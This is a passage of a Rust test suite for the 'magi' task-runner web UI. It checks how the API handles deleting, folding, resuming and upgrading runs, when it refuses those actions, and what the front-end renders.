8677            empty: false,
8678            failed: None,
8679            verified_noop: None,
8680            duration_ms: 0,
8681            folded: false,
8682        });
8683        let dir2 = runs.join(run_unfolded);
8684        std::fs::create_dir_all(&dir2).expect("create dir2");
8685        std::fs::write(
8686            dir2.join("run.json"),
8687            serde_json::to_string(&state2).unwrap(),
8688        )
8689        .expect("write run.json");
8690
8691        let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
8692        assert_eq!(res.status, 409);
8693        assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
8694        assert!(dir2.exists(), "unfolded run directory is kept");
8695
8696        // 4. Missing id returns 404
8697        let res = fx.delete("/api/runs/nonexistent").await;
8698        assert_eq!(res.status, 404);
8699    }
8700
8701    /// The queue tiles on the Stats tab must render even on a home with no
8702    /// runs at all: queue state is not derived from run history, so hiding
8703    /// the whole dashboard body behind "no runs yet" would drop the one
8704    /// thing this tab promises unconditionally (queued/running/held/done).
8705    /// A DOM-level test would need a browser this suite does not have, so
8706    /// this pins the same invariant textually: `renderStatsQueue` is called
8707    /// once in `renderStats`, and that call sits outside the `if (!noRuns)`
8708    /// block that gates the run-derived panels.
8709    #[test]
8710    fn stats_queue_tiles_render_even_when_there_are_no_runs() {
8711        let start = APP_JS
8712            .find("function renderStats() {")
8713            .expect("renderStats");
8714        let end = start
8715            + APP_JS[start..]
8716                .find("function statsTile(")
8717                .expect("the next top-level function");
8718        let body = &APP_JS[start..end];
8719
8720        let gate_start = body.find("if (!noRuns) {").expect("the noRuns gate");
8721        let gate_end = gate_start
8722            + body[gate_start..]
8723                .find("}\n  renderStatsQueue")
8724                .expect("the gate's own closing brace, right before the unconditional call");
8725        let gated = &body[gate_start..gate_end];
8726
8727        assert_eq!(
8728            body.matches("renderStatsQueue(").count(),
8729            1,
8730            "renderStats must call renderStatsQueue exactly once: {body}"
8731        );
8732        assert!(
8733            !gated.contains("renderStatsQueue"),
8734            "renderStatsQueue must not be inside the `if (!noRuns)` block that hides the \
8735             run-derived panels on an empty run history - the queue panel has to render \
8736             regardless: {gated}"
8737        );
8738    }
8739
8740    #[test]
8741    fn web_ui_delete_contract_in_front_end() {
8742        // 1. API block has both delete endpoints
8743        assert!(APP_JS.contains("deleteRun:"));
8744        assert!(APP_JS.contains("deleteTask:"));
8745
8746        // 2. #runs-list card builder (createRunCard / updateRunCard) has no delete entry
8747        let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
8748            ..APP_JS.find("function renderRuns").unwrap()];
8749        assert!(!run_cards_slice.to_lowercase().contains("delete"));
8750
8751        // 3. Run detail has delete entry and reasons
8752        assert!(APP_JS.contains("renderRunDelete"));
8753        assert!(APP_JS.contains("runDeleteReason"));
8754        assert!(APP_JS.contains("magi fold"));
8755        assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
8756
8757        // 4. Two-step delete arming and focus on Cancel
8758        assert!(APP_JS.contains("cancel.focus"));
8759        assert!(APP_JS.contains("armedRunDelete"));
8760        assert!(APP_JS.contains("armedDelete"));
8761
8762        // 5. Running task has disabled delete
8763        assert!(APP_JS.contains("disabled: status === \"running\""));
8764    }
8765
8766    /// Every element a run card's updater reaches for must be in the `refs`
8767    /// the builder handed it.
8768    ///
8769    /// `createRunCard` builds its elements, appends them to the card, and then
8770    /// lists them again in `row.refs`. That second list is the one the updater
8771    /// uses, and nothing connects the two - an element can be built, appended
8772    /// and rendered, and still be missing from `refs`. `superseded` was, for
8773    /// two releases: `setText(r.superseded, ...)` threw on the first card, the
8774    /// exception took `syncList` with it, and the deck showed
8775    /// "13 runs, 2 in flight, 8 unreadable" above an empty list. The count
8776    /// line is computed before the cards, which is why the failure looked like
8777    /// a server that had lost its runs rather than a front end that had
8778    /// stopped rendering them.
8779    ///
8780    /// A `cargo test` cannot execute the front end, so this reads the two
8781    /// halves out of the source and compares them as sets. It is not a check
8782    /// on the wording of either list: adding an element, renaming one, or
8783    /// reordering them all keeps this passing, and only using one the builder
8784    /// never published fails it.
8785    #[test]
8786    fn every_ref_a_run_card_uses_is_one_its_builder_published() {
8787        let build = APP_JS
8788            .find("function createRunCard")
8789            .expect("createRunCard exists");
8790        let update = APP_JS
8791            .find("function updateRunCard")
8792            .expect("updateRunCard exists");
8793        let end = APP_JS
8794            .find("function renderRuns")
8795            .expect("renderRuns exists");
8796
8797        // The builder's published set: the object literal assigned to `refs`.
8798        let builder = &APP_JS[build..update];
8799        let open = builder.find("refs = {").expect("createRunCard sets refs");
8800        let literal = &builder[open + "refs = {".len()..];
8801        let close = literal.find('}').expect("the refs literal is closed");
8802        let published: HashSet<&str> = literal[..close]
8803            .split(',')
8804            // `name` and `name: value` both bind `name`.
8805            .filter_map(|entry| entry.split(':').next())
8806            .map(str::trim)
8807            .filter(|name| !name.is_empty())
8808            .collect();
8809        assert!(
8810            published.len() > 5,
8811            "the refs literal did not parse into names: {published:?}"
8812        );
8813
8814        // What the updaters reach for: every `r.<name>`, where `r` is the
8815        // `const r = row.refs` alias both functions open with.
8816        let mut used: Vec<&str> = Vec::new();
8817        let updaters = &APP_JS[update..end];
8818        for (at, _) in updaters.match_indices("r.") {
8819            // `r` must be the whole identifier, not the tail of another one
8820            // (`Number.parseFloat`, `pr.url`, `for.` and friends).
8821            let before = updaters[..at].chars().next_back();
8822            if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
8823                continue;
8824            }
8825            let rest = &updaters[at + 2..];
8826            let len = rest
8827                .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
8828                .unwrap_or(rest.len());
8829            if len > 0 {
8830                used.push(&rest[..len]);
8831            }
8832        }
8833        assert!(
8834            used.len() > 5,
8835            "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
8836        );
8837
8838        let missing: Vec<&str> = used
8839            .iter()
8840            .copied()
8841            .filter(|name| !published.contains(name))
8842            .collect();
8843        assert!(
8844            missing.is_empty(),
8845            "a run card's updater reaches for {missing:?}, which `createRunCard` \
8846             never put in `refs` - every card will throw and the list will \
8847             render empty under a count line that says otherwise. Published: \
8848             {published:?}"
8849        );
8850    }
8851
8852    #[tokio::test]
8853    async fn folding_from_the_phone_reports_what_it_removed() {
8854        let fx = Fixture::start().await;
8855        let runs = fx.runs();
8856
8857        // A run with no candidates has nothing to fold, which is a 200 with an
8858        // honest count rather than an error: the operator asked for the trees
8859        // to be gone and they are.
8860        let id = "20260901-000000-fold";
8861        write_run(&runs, id, RunStatus::Stalled);
8862        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
8863        assert_eq!(res.status, 200);
8864        assert_eq!(res.json()["removed_count"], 0);
8865        assert_eq!(res.json()["run"], id);
8866        assert!(
8867            runs.join(id).exists(),
8868            "a fold keeps the run's record; only the worktrees go"
8869        );
8870    }
8871
8872    #[tokio::test]
8873    async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
8874        let fx = Fixture::start().await;
8875        let runs = fx.runs();
8876        let wt = fx.home.path().join("wt").join("magi").join("dead");
8877        let id = "20260901-000000-dead";
8878        std::fs::create_dir_all(runs.join(id)).expect("run dir");
8879        std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
8880        std::fs::create_dir_all(&wt).expect("worktree dir");
8881
8882        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
8883        assert_eq!(res.status, 200, "{}", res.body);
8884        assert!(
8885            res.json()["removed_count"].as_u64().unwrap() > 0,
8886            "the worktree this build could not read a state for still went"
8887        );
8888        assert!(
8889            !runs.join(id).exists(),
8890            "an unreadable run has no candidate list to fold selectively, so \
8891             the whole record goes - same as `magi fold` on the CLI"
8892        );
8893    }
8894
8895    #[tokio::test]
8896    async fn deleting_an_unreadable_run_removes_it_wholesale() {
8897        let fx = Fixture::start().await;
8898        let runs = fx.runs();
8899        let wt = fx.home.path().join("wt").join("magi").join("gone");
8900        let id = "20260901-000000-gone";
8901        std::fs::create_dir_all(runs.join(id)).expect("run dir");
8902        std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
8903        std::fs::create_dir_all(&wt).expect("worktree dir");
8904
8905        let res = fx.delete(&format!("/api/runs/{id}")).await;
8906        assert_eq!(res.status, 204, "{}", res.body);
8907        assert!(!runs.join(id).exists(), "the broken record is gone");
8908        assert!(!wt.exists(), "its worktree is gone too");
8909    }
8910
8911    #[tokio::test]
8912    async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
8913        let fx = Fixture::start().await;
8914        let runs = fx.runs();
8915        let id = "20260901-000000-live";
8916        write_run(&runs, id, RunStatus::Implementing);
8917
8918        let mut beat = crate::daemon::Status::new();
8919        beat.current = vec![crate::daemon::Current {
8920            task: "20260901-000000-task".to_owned(),
8921            run: id.to_owned(),
8922        }];
8923        beat.updated_at = jiff::Timestamp::now();
8924        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
8925            .expect("publish a heartbeat");
8926
8927        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
8928        assert_eq!(res.status, 409);
8929        assert!(
8930            res.json()["error"]
8931                .as_str()
8932                .unwrap()
8933                .contains("live daemon"),
8934            "folding under a running agent would pull its worktree away"
8935        );
8936    }
8937
8938    #[tokio::test]
8939    async fn fold_merged_requires_a_pr_url() {
8940        let fx = Fixture::start().await;
8941        let runs = fx.runs();
8942        let id = "20260901-000000-nourl";
8943        write_run(&runs, id, RunStatus::Blocked);
8944
8945        let res = fx
8946            .post(&format!("/api/runs/{id}/fold-merged"), Some("{}"))
8947            .await;
8948        assert_eq!(res.status, 400, "{}", res.body);
8949
8950        let blank = fx
8951            .post(
8952                &format!("/api/runs/{id}/fold-merged"),
8953                Some(r#"{"pr_url":"   "}"#),
8954            )
8955            .await;
8956        assert_eq!(blank.status, 400, "{}", blank.body);
8957    }
8958
8959    #[tokio::test]
8960    async fn fold_merged_is_404_for_an_unknown_run() {
8961        let fx = Fixture::start().await;
8962        let res = fx
8963            .post(
8964                "/api/runs/nosuchrun/fold-merged",
8965                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
8966            )
8967            .await;
8968        assert_eq!(res.status, 404, "{}", res.body);
8969    }
8970
8971    #[tokio::test]
8972    async fn fold_merged_is_refused_while_a_daemon_is_working_on_the_run() {
8973        let fx = Fixture::start().await;
8974        let runs = fx.runs();
8975        let id = "20260901-000000-livemerge";
8976        write_run(&runs, id, RunStatus::Blocked);
8977
8978        let mut beat = crate::daemon::Status::new();
8979        beat.current = vec![crate::daemon::Current {
8980            task: "20260901-000000-task".to_owned(),
8981            run: id.to_owned(),
8982        }];
8983        beat.updated_at = jiff::Timestamp::now();
8984        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
8985            .expect("publish a heartbeat");
8986
8987        let res = fx
8988            .post(
8989                &format!("/api/runs/{id}/fold-merged"),
8990                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
8991            )
8992            .await;
8993        assert_eq!(res.status, 409, "{}", res.body);
8994        assert!(
8995            res.json()["error"]
8996                .as_str()
8997                .unwrap()
8998                .contains("live daemon"),
8999            "correcting a run's merge underneath a running agent would race \
9000             whatever it is doing to the same `status`/`merge` fields"
9001        );
9002    }
9003
9004    /// A pull request `gh` cannot even ask about (no such remote, no such
9005    /// repository) must never be recorded as a merge on a guess - the same
9006    /// refusal `land::correct_manual_merge` gives `magi fold --merged` on the
9007    /// command line, reached here through the phone route instead.
9008    #[tokio::test]
9009    async fn fold_merged_refuses_a_pull_request_it_cannot_confirm_is_merged() {
9010        let fx = Fixture::start().await;
9011        let runs = fx.runs();
9012        let id = "20260901-000000-unconfirmed";
9013        write_run(&runs, id, RunStatus::Blocked);
9014
9015        let res = fx
9016            .post(
9017                &format!("/api/runs/{id}/fold-merged"),
9018                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
9019            )
9020            .await;
9021        assert_eq!(res.status, 400, "{}", res.body);
9022        assert_eq!(
9023            read_run(&runs, id).unwrap().status,
9024            RunStatus::Blocked,
9025            "a pull request that could not be confirmed merged must leave \
9026             the run exactly where it was"
9027        );
9028    }
9029
9030    #[tokio::test]
9031    async fn resume_is_refused_unless_the_run_stopped_somewhere_it_can_continue() {
9032        let fx = Fixture::start().await;
9033        let runs = fx.runs();
9034
9035        // Only a finished run and a failed one. An *interrupted* run - a
9036        // parked one, or one whose daemon was killed mid-node - is the case
9037        // resuming exists for: run 4043 sat at `reviewing` with the deck
9038        // saying it could not be resumed, which was the one state where
9039        // resuming was the only sensible answer.
9040        for (status, word) in [
9041            (RunStatus::Merged, "merged"),
9042            (RunStatus::Ready, "ready"),
9043            (RunStatus::Failed, "failed"),
9044        ] {
9045            let id = format!("20260901-000000-{}", &word[..4]);
9046            write_run(&runs, &id, status);
9047            let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
9048            assert_eq!(res.status, 409, "{word} must not be resumable");
9049            let err = res.json()["error"].as_str().unwrap().to_owned();
9050            assert!(err.contains(word), "the refusal names the status: {err}");
9051        }
9052
9053        // And an interrupted run is accepted: 202, with the resume running in
9054        // the background. `Runner::resume` fails immediately here - the
9055        // fixture's run points at a repository that does not exist - which is
9056        // the point: the handler must not wait for it to find out.
9057        let mid = "20260901-000000-midf";
9058        write_run(&runs, mid, RunStatus::Reviewing);
9059        let res = fx.post(&format!("/api/runs/{mid}/resume"), None).await;
9060        assert_eq!(res.status, 202, "an interrupted run is resumable");
9061    }
9062
9063    #[tokio::test]
9064    async fn resume_is_refused_while_the_loop_is_running() {
9065        let fx = Fixture::start().await;
9066        let runs = fx.runs();
9067        let stalled = "20260901-000000-stal";
9068        write_run(&runs, stalled, RunStatus::Stalled);
9069
9070        // The loop is busy with a *different* run, and that is still a
9071        // refusal: a manual resume must never race whatever the loop itself
9072        // is already driving, whether that is one run or several.
9073        let mut beat = crate::daemon::Status::new();
9074        beat.current = vec![crate::daemon::Current {
9075            task: "20260901-000000-task".to_owned(),
9076            run: "20260901-000000-othr".to_owned(),
9077        }];
9078        beat.updated_at = jiff::Timestamp::now();
9079        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
9080            .expect("publish a heartbeat");
9081
9082        let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
9083        assert_eq!(res.status, 409);
9084        let err = res.json()["error"].as_str().unwrap().to_owned();
9085        assert!(err.contains("othr"), "it names what the loop is on: {err}");
9086        assert!(err.contains("stop it first"), "{err}");
9087    }
9088
9089    #[test]
9090    fn a_run_cannot_be_resumed_twice_at_once() {
9091        let home = TempDir::new().expect("temp home");
9092        let ui = Ui::new(
9093            Queue::at(home.path().join("queue")),
9094            Questions::at(home.path().join("questions")),
9095            Talks::at(home.path().join("talks")),
9096            home.path().join("runs"),
9097            home.path().to_path_buf(),
9098            PathBuf::from("/repo"),
9099        )
9100        .with_worktrees_root(home.path().join("wt"));
9101        let first = ui.begin_resume("20260901-000000-once").expect("claimed");
9102        let again = ui.begin_resume("20260901-000000-once");
9103        assert!(again.is_err(), "a second tap must not start a second graph");
9104        drop(first);
9105        assert!(
9106            ui.begin_resume("20260901-000000-once").is_ok(),
9107            "and the claim is released when the attempt ends"
9108        );
9109    }
9110
9111    #[test]
9112    fn talk_thinking_tracks_only_its_held_turn_claim() {
9113        let home = TempDir::new().expect("temp home");
9114        let ui = Ui::new(
9115            Queue::at(home.path().join("queue")),
9116            Questions::at(home.path().join("questions")),
9117            Talks::at(home.path().join("talks")),
9118            home.path().join("runs"),
9119            home.path().to_path_buf(),
9120            PathBuf::from("/repo"),
9121        )
9122        .with_worktrees_root(home.path().join("wt"));
9123        let id = "20260901-000000-once";
9124
9125        assert!(!ui.is_thinking(id), "an unclaimed talk is not thinking");
9126        let turn = ui.begin_talk_turn(id).expect("claim turn");
9127        assert!(ui.is_thinking(id), "the held guard is reported as thinking");
9128        assert!(
9129            !ui.is_thinking("20260901-000000-other"),
9130            "one talk's turn does not make another talk busy"
9131        );
9132        drop(turn);
9133        assert!(!ui.is_thinking(id), "dropping the guard releases thinking");
9134    }
9135
9136    #[tokio::test]
9137    async fn an_upgrade_is_refused_when_the_loop_belongs_to_another_process() {
9138        let fx = Fixture::start().await;
9139        // Somebody else's `magi serve` owns the queue. Replacing this binary
9140        // would leave that process running an old one against the same
9141        // claims, which is worse than refusing.
9142        let mut beat = crate::daemon::Status::new();
9143        beat.pid = 4321;
9144        beat.updated_at = jiff::Timestamp::now();
9145        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
9146            .expect("publish a heartbeat");
9147
9148        let res = fx.post("/api/upgrade", None).await;
9149        assert_eq!(res.status, 409);
9150        let err = res.json()["error"].as_str().unwrap().to_owned();
9151        assert!(err.contains("4321"), "the refusal names the owner: {err}");
9152        assert!(err.contains("old one against the same queue"), "{err}");
9153    }
9154
9155    /// [`should_spawn_recheck`] must refuse for the same two reasons
9156    /// [`Checker::new`](crate::updater::Checker::new) and `upgrade_post`
9157    /// already do: `mode = "off"` and the `MAGI_NO_AUTOUPDATE` kill switch.
9158    /// Purely a predicate over config and the environment - no network, no
9159    /// disk, no runtime - so unlike the fixture-based tests around it this
9160    /// one needs neither.
9161    #[test]
9162    fn recheck_never_spawns_when_checking_is_off_or_killed_by_env() {
9163        assert!(!should_spawn_recheck(&crate::config::Update {
9164            mode: UpdateMode::Off,
9165            interval: None,
9166        }));
9167
9168        // SAFETY: single-threaded as far as this variable goes, the same
9169        // reasoning `updater::tests::env_kill_switch_semantics` relies on.
9170        unsafe {
9171            std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
9172        }
9173        let killed = should_spawn_recheck(&crate::config::Update {
9174            mode: UpdateMode::Notify,
9175            interval: None,
9176        });
9177        unsafe {
9178            std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
9179        }
9180        assert!(
9181            !killed,
9182            "MAGI_NO_AUTOUPDATE must stop the periodic recheck, not just the \
9183             one-time startup check"
9184        );
9185
9186        assert!(should_spawn_recheck(&crate::config::Update {
9187            mode: UpdateMode::Notify,
9188            interval: None,
9189        }));
9190    }
9191
9192    /// [`recheck_poll_period`] must track a configured `[update] interval`
9193    /// shorter than its own default ceiling - a fixed sleep here would leave
9194    /// an operator's short interval waiting on the next wake-up instead of on
9195    /// `should_check`, which is the same bug this whole task exists to fix,
9196    /// just one level down.
9197    #[test]
9198    fn recheck_poll_period_tracks_a_short_configured_interval() {
9199        let short = crate::config::Update {
9200            mode: UpdateMode::Notify,
9201            interval: Some("1m".to_owned()),
9202        };
9203        let period = recheck_poll_period(&short);
9204        assert!(
9205            period <= Duration::from_secs(30),
9206            "a one-minute interval must wake the task far sooner than the \
9207             default ceiling, or the deck would not notice within the \
9208             interval the operator configured: got {period:?}"
9209        );
9210
9211        let default = crate::config::Update {
9212            mode: UpdateMode::Notify,
9213            interval: None,
9214        };
9215        assert_eq!(
9216            recheck_poll_period(&default),
9217            UPDATE_RECHECK_POLL_MAX,
9218            "the default day-long interval should poll at the (capped) \
9219             ceiling rather than needlessly often"
9220        );
9221    }
9222
9223    /// [`update_recheck_due`] must not repeat a check made moments ago, the
9224    /// same throttle `updater::Checker::should_check` already gives the
9225    /// CLI's notify mode. Built over an explicit state file via
9226    /// `Checker::for_test`, never `Checker::new`, so this cannot read or
9227    /// write the operator's real `last_update_check.json` - and therefore
9228    /// cannot flake on whatever that file happens to say on the machine
9229    /// running the test.
9230    #[test]
9231    fn recheck_skips_the_network_before_the_interval_elapses() {
9232        let dir = TempDir::new().expect("temp dir");
9233        let path = dir.path().join("state.json");
9234        let state = kaishin::UpdateCheckState {
9235            last_checked_unix: jiff::Timestamp::now().as_second() as u64,
9236            last_known_latest: None,
9237            last_known_url: None,
9238        };
9239        kaishin::save_check_state(&path, &state).expect("seed a just-checked state");
9240
9241        let checker = crate::updater::Checker::for_test(Duration::from_secs(24 * 60 * 60), path);
9242        assert!(
9243            !update_recheck_due(&checker, None),
9244            "a check made moments ago must not be repeated before the \
9245             configured interval elapses"
9246        );
9247    }
9248
9249    /// An upgrade this deck already started must not be raced by a recheck
9250    /// that discovers a newer release mid-install - regardless of what
9251    /// `should_check` says, which is why the state file here is missing
9252    /// entirely: read alone, that alone would answer "never checked, go
9253    /// ahead".
9254    #[test]
9255    fn recheck_defers_to_an_upgrade_already_in_flight() {
9256        let dir = TempDir::new().expect("temp dir");
9257        let path = dir.path().join("state.json");
9258        let checker = crate::updater::Checker::for_test(Duration::from_secs(60 * 60), path);
9259        let progress = crate::updater::Progress::new("0.8.0".to_owned(), "v0.9.0".to_owned());
9260
9261        assert!(
9262            !update_recheck_due(&checker, Some(&progress)),
9263            "a recheck must not run while an upgrade this deck started is \
9264             still moving"
9265        );
9266    }
9267
9268    #[tokio::test]
9269    async fn an_upgrade_is_refused_by_the_no_autoupdate_kill_switch() {
9270        // The same env var the background check honours (`disabled_by_env`)
9271        // must also stop a button press before it ever calls
9272        // `Checker::newer_release` - an operator who set `MAGI_NO_AUTOUPDATE`
9273        // means "never contact GitHub from this process", and a tap on the
9274        // upgrade button must not override that any more than a broken
9275        // `magi.toml` may. Left unset, this fixture's default config would
9276        // otherwise reach a real, unauthenticated GitHub call.
9277        //
9278        // SAFETY: single-threaded as far as this variable goes - nothing else
9279        // in this binary reads `MAGI_NO_AUTOUPDATE` concurrently, the same
9280        // reasoning `updater::tests::env_kill_switch_semantics` relies on.
9281        unsafe {
9282            std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
9283        }
9284        let fx = Fixture::start().await;
9285        let res = fx.post("/api/upgrade", None).await;
9286        unsafe {
9287            std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
9288        }
9289        assert_eq!(res.status, 200, "not 202: nothing was set in motion");
9290        let body = res.json();
9291        assert!(body["to"].is_null(), "there was no release to move to");
9292        assert!(body["parked"].is_null(), "and nothing was parked");
9293        assert!(
9294            body["detail"]
9295                .as_str()
9296                .unwrap()
9297                .contains("disabled by MAGI_NO_AUTOUPDATE"),
9298            "{body:?}"
9299        );
9300    }
9301
9302    #[tokio::test]
9303    async fn an_upgrade_with_nothing_to_install_changes_nothing() {
9304        // `[update] mode = "off"` so `updater::Checker::new` returns `None`
9305        // and the route answers from its own logic.
9306        //
9307        // This test used to lean on the fixture's placeholder repo failing
9308        // config discovery, which left `mode = "notify"` - and a live,
9309        // unauthenticated call to the GitHub releases API inside a unit test.
9310        // GitHub allows 60 of those an hour per address, so the suite went red
9311        // on `macos-latest` and nowhere else, in bursts, and stayed red for as
9312        // long as somebody kept re-running it: every attempt spent another
9313        // request. Six reruns across four pull requests were charged to that
9314        // before it was read as a rate limit rather than a flake.
9315        //
9316        // What the assertion is about is the "already current" branch, which
9317        // is reached by there being no newer release *or* nowhere to look. The
9318        // second one needs no network and cannot be rate limited.
9319        let repo = TempDir::new().expect("repo dir");
9320        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
9321            .expect("write magi.toml");
9322        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
9323
9324        // It must answer 200 and leave the process alone: restarting for an
9325        // upgrade that did not happen parks the run in flight and drops every
9326        // connection to pay for nothing. A probe against a deck already on the
9327        // newest build did exactly that, which is how this case got its own
9328        // branch.
9329        let res = fx.post("/api/upgrade", None).await;
9330        assert_eq!(res.status, 200, "not 202: nothing was set in motion");
9331        let body = res.json();
9332        assert!(body["to"].is_null(), "there was no release to move to");
9333        assert!(body["parked"].is_null(), "and nothing was parked");
9334        assert!(
9335            body["detail"]
9336                .as_str()
9337                .unwrap()
9338                .contains("nothing restarted"),
9339            "{body:?}"
9340        );
9341    }
9342
9343    #[tokio::test]
9344    async fn health_reports_the_running_version_and_no_pending_upgrade_by_default() {
9345        // `mode = "off"` for the same reason as the test above: a default
9346        // fixture repo falls back to `mode = "notify"`, which would make this
9347        // route's new `update` field a live, unauthenticated GitHub call on
9348        // every assertion in this suite that happens to hit `/api/health`.
9349        let repo = TempDir::new().expect("repo dir");
9350        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
9351            .expect("write magi.toml");
9352        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
9353
9354        let health = fx.get("/api/health").await.json();
9355        assert_eq!(health["version"], env!("CARGO_PKG_VERSION"));
9356        assert_eq!(
9357            health["update"]["available"], false,
9358            "checking is off, which reads as \"unknown\", not \"none\""
9359        );
9360        assert!(health["update"]["to"].is_null());
9361        assert!(
9362            health["upgrade"].is_null(),
9363            "nothing has ever asked this deck to upgrade"
9364        );
9365    }
9366
9367    #[tokio::test]
9368    async fn health_reports_a_parked_upgrade_and_what_it_is_waiting_on() {
9369        let fx = Fixture::start().await;
9370        write_run(&fx.runs(), "20260905-000000-cd51", RunStatus::Implementing);
9371
9372        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
9373        progress.parked_run = Some("20260905-000000-cd51".to_owned());
9374        progress.advance(crate::updater::Stage::Parking);
9375        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
9376
9377        let health = fx.get("/api/health").await.json();
9378        assert_eq!(health["upgrade"]["stage"], "parking");
9379        assert_eq!(health["upgrade"]["from"], "0.5.1");
9380        assert_eq!(health["upgrade"]["to"], "0.5.2");
9381        let waiting_on = health["upgrade"]["waiting_on"]
9382            .as_str()
9383            .expect("waiting_on is set while parking a known run");
9384        assert!(waiting_on.contains("cd51"), "{waiting_on}");
9385        assert!(waiting_on.contains("implementing"), "{waiting_on}");
9386    }
9387
9388    #[tokio::test]
9389    async fn health_reports_a_finished_upgrade_with_no_waiting_on() {
9390        let fx = Fixture::start().await;
9391        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
9392        progress.advance(crate::updater::Stage::Done);
9393        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
9394
9395        let health = fx.get("/api/health").await.json();
9396        assert_eq!(health["upgrade"]["stage"], "done");
9397        assert!(
9398            health["upgrade"]["waiting_on"].is_null(),
9399            "nothing to wait on once it is done"
9400        );
9401    }
9402
9403    #[tokio::test]
9404    async fn hand_over_advances_the_upgrade_progress_through_parking_and_restarting() {
9405        let home = TempDir::new().expect("temp home");
9406        let runs = home.path().join("runs");
9407        std::fs::create_dir_all(&runs).expect("runs dir");
9408        let ui = Ui::new(
9409            Queue::at(home.path().join("queue")),
9410            Questions::at(home.path().join("questions")),
9411            Talks::at(home.path().join("talks")),
9412            runs,
9413            home.path().to_path_buf(),
9414            PathBuf::from("/repo/magi"),
9415        )
9416        .with_launch(launch_idle);
9417        let looping = ui.looping();
9418        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
9419            .await
9420            .expect("bind loopback");
9421        let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
9422
9423        let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
9424        crate::updater::write_progress(home.path(), &progress).expect("seed progress");
9425
9426        hand_over(home.path(), &looping, served, || Ok(()))
9427            .await
9428            .expect("hand over");
9429
9430        let after = crate::updater::read_progress(home.path()).expect("progress on disk");
9431        assert_eq!(
9432            after.stage,
9433            crate::updater::Stage::Restarting,
9434            "hand_over owns the record through parking and up to restarting; \
9435             the successor is what finishes it"
9436        );
9437    }
9438
9439    #[test]
9440    fn the_upgrade_button_arms_before_it_restarts_anything() {
9441        // It ends the process the operator is talking to, and a phone in a
9442        // pocket taps things. One tap arms, the second commits.
9443        assert!(APP_JS.contains("upgrade: \"/api/upgrade\""));
9444        assert!(APP_JS.contains("Replace the binary and restart?"));
9445        assert!(APP_JS.contains("function confirmed("));
9446        // Hidden when the loop is somebody else's, matching the 409 above -
9447        // and hidden with nothing to install, matching the 200 "already
9448        // current" branch: an operator on the newest build must not be
9449        // offered a restart that would only park a run for nothing.
9450        assert!(APP_JS.contains("show(upgradeBtn, !foreign && update.available)"));
9451        // A park waits for the node in flight, up to an hour for an implement
9452        // wave. Leaving the button reading "Upgrading…" for that long is the
9453        // same mistake as an error rendered off screen: it looks wedged.
9454        assert!(
9455            APP_JS.contains("Parking, then restarting"),
9456            "the button says what it is waiting for"
9457        );
9458        // And nothing to install must give the button back rather than
9459        // pretending a restart is coming.
9460        assert!(APP_JS.contains("if (!out.to)"));
9461    }
9462
9463    #[test]
9464    fn stopping_the_loop_arms_but_starting_does_not() {
9465        // A stray tap must not leave the queue stopped overnight, so a stop is
9466        // two taps through the same helper the upgrade uses; a start stays one.
9467        assert!(APP_JS.contains("Finish the run(s) in flight, then stop claiming?"));
9468        assert!(APP_JS.contains("Stop claiming new tasks? Nothing is in flight."));
9469        assert!(APP_JS.contains("confirmed(button, question)"));
9470        // The label put back on timeout is the one saved when arming, not a
9471        // hard-coded upgrade caption that would rename the stop button.
9472        assert!(!APP_JS.contains("setText(btn, \"Update & restart\");\n    }\n  }, 6000)"));
9473        assert!(APP_JS.contains("const label = btn.textContent;"));
9474        assert!(!APP_JS.contains("Neither direction is guarded"));
9475    }
9476
9477    #[test]
9478    fn the_running_version_is_shown_regardless_of_whether_an_update_exists() {
9479        assert!(
9480            APP_JS.contains("state.health.version"),
9481            "the operator wants to know what is running even with nothing newer"
9482        );
9483        assert!(APP_JS.contains("id=\"daemon-version\"") || APP_CSS.contains(".daemon-version"));
9484    }
9485
9486    #[test]
9487    fn the_upgrade_button_names_its_destination() {
9488        assert!(
9489            APP_JS.contains("`Update to ${update.to}`"),
9490            "pressing the button should not be a surprise about what it moves to"
9491        );
9492    }
9493
9494    #[test]
9495    fn an_upgrade_in_progress_is_shown_as_stages_not_as_an_error() {
9496        for stage in ["downloading", "replaced", "parking", "restarting"] {
9497            assert!(
9498                APP_JS.contains(&format!("\"{stage}\"")),
